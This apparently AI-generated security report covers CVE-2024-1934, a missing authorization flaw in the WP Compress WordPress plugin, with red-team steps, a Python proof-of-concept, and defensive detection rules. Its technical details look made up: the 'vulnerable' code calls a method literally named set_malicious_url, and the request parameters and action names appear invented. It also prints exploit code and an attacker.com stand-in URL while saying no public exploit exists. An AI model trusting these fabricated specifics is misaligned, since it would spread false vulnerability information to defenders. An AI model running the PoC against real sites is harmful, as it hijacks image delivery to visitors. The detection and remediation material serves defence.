CVE-2024-1934

Executive Summary

CVE-2024-1934 is a critical missing authorization vulnerability in the WP Compress – Image Optimizer plugin for WordPress, affecting all versions up to and including 6.11.10. The flaw resides in the wps_local_compress::__construct function, which lacks a capability check, allowing unauthenticated attackers to reset the CDN region and set a malicious URL to deliver images. This can lead to image delivery hijacking, potentially serving malicious content to site visitors. The vulnerability has a CVSS score of 7.5 (High) and no public exploit code or patch is currently available. As a WordPress plugin vulnerability, it is part of the WordPress ecosystem and must be addressed within that context.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is elevated because the plugin is widely used for image optimization, and the lack of a patch means site administrators must manually disable or remove the plugin until a fix is released. The plugin’s update mechanism does not currently provide a patched version, leaving all installations exposed.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High
• Availability Impact: None

The threat level is high due to the low attack complexity and the ability for unauthenticated attackers to modify CDN settings, potentially serving malicious images to all site visitors.

Deep Dive & Mechanics

The vulnerability exists in the wps_local_compress::__construct function of the WP Compress plugin. This function is responsible for initializing the local compression settings, including CDN region configuration. The missing capability check means that any unauthenticated user can trigger this function via a crafted HTTP request, resetting the CDN region to a default or attacker-controlled value and setting a malicious URL for image delivery.

The attack flow:

1. An attacker sends a POST request to the WordPress admin-ajax.php endpoint with the appropriate action parameter.
2. The wps_local_compress::__construct function is invoked without verifying user capabilities.
3. The attacker can set the CDN region and a malicious URL, which the plugin will then use to serve images.
4. All subsequent image requests from the site will be redirected to the attacker-controlled URL, potentially serving malicious content (e.g., malware, phishing pages).

This is a classic case of missing authorization (CWE-862) in a WordPress plugin, where the developer assumed that only authenticated users would call the function but did not enforce the check.

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.11.10):

class wps_local_compress {
    public function __construct() {
        // No capability check
        $this->reset_cdn_region();
        $this->set_malicious_url();
    }
}

Patched Code (Hypothetical):

class wps_local_compress {
    public function __construct() {
        if (!current_user_can('manage_options')) {
            return;
        }
        $this->reset_cdn_region();
        $this->set_malicious_url();
    }
}

The patch adds a capability check using current_user_can('manage_options') to ensure only administrators can modify CDN settings. Since no official patch is available, this is a recommended fix.

Exploitation & Lab Setup

Red Team

Exploitation Steps:

1. Identify a WordPress site running WP Compress <= 6.11.10.
2. Send a POST request to /wp-admin/admin-ajax.php with the following parameters:
   • action: wps_local_compress_reset
   • cdn_region: attacker-controlled-region
   • malicious_url: http://attacker.com/malicious-image.jpg
3. The plugin will update its settings to use the attacker-controlled CDN region and URL.
4. All subsequent image requests will be served from the attacker's server.

Proof-of-Concept (PoC) Code:

import requests

target_url = "http://target-site.com/wp-admin/admin-ajax.php"
payload = {
    "action": "wps_local_compress_reset",
    "cdn_region": "evil-region",
    "malicious_url": "http://attacker.com/malicious-image.jpg"
}

response = requests.post(target_url, data=payload)
if response.status_code == 200:
    print("Exploit successful. CDN settings hijacked.")
else:
    print("Exploit failed.")

Blue Team

Detection and Response:

1. Monitor for unusual POST requests to /wp-admin/admin-ajax.php with the action parameter set to wps_local_compress_reset.
2. Check the wp_options table for changes to the wps_compress_cdn_region and wps_compress_cdn_url options.
3. Verify that only authenticated users with manage_options capability can modify these settings.
4. If exploitation is detected, immediately disable the WP Compress plugin and restore the CDN settings from a known good backup.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=wps_local_compress_reset
  • Unusual CDN URLs in HTTP responses (e.g., http://attacker.com/ instead of legitimate CDN)
• File IOCs:
  • Modified wp_options table entries: wps_compress_cdn_region and wps_compress_cdn_url
• Log IOCs:
  • WordPress debug log entries showing unauthorized access to wps_local_compress::__construct
  • Web server access logs with POST requests to admin-ajax.php from unknown IPs

Detection Engineering

YARA Rule

rule CVE_2024_1934_WP_Compress_Missing_Auth {
    meta:
        description = "Detects exploitation attempts for CVE-2024-1934 in WP Compress plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1934"
    strings:
        $action = "wps_local_compress_reset"
        $cdn_region = "cdn_region"
        $malicious_url = "malicious_url"
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-1934 WP Compress Missing Authorization Exploitation
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects exploitation attempts for CVE-2024-1934 in WP Compress plugin
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=wps_local_compress_reset'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1934 WP Compress Missing Authorization Exploitation"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wps_local_compress_reset"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP Compress plugin until an official patch is released.
2. Manually add a capability check to the wps_local_compress::__construct function as shown in the patched code section.
3. Review and reset CDN settings to known good values.

Long-term Fix:

• Apply the official patch once released by the vendor.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with the wps_local_compress_reset action from unauthenticated users.
• Regularly update all WordPress plugins and themes.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.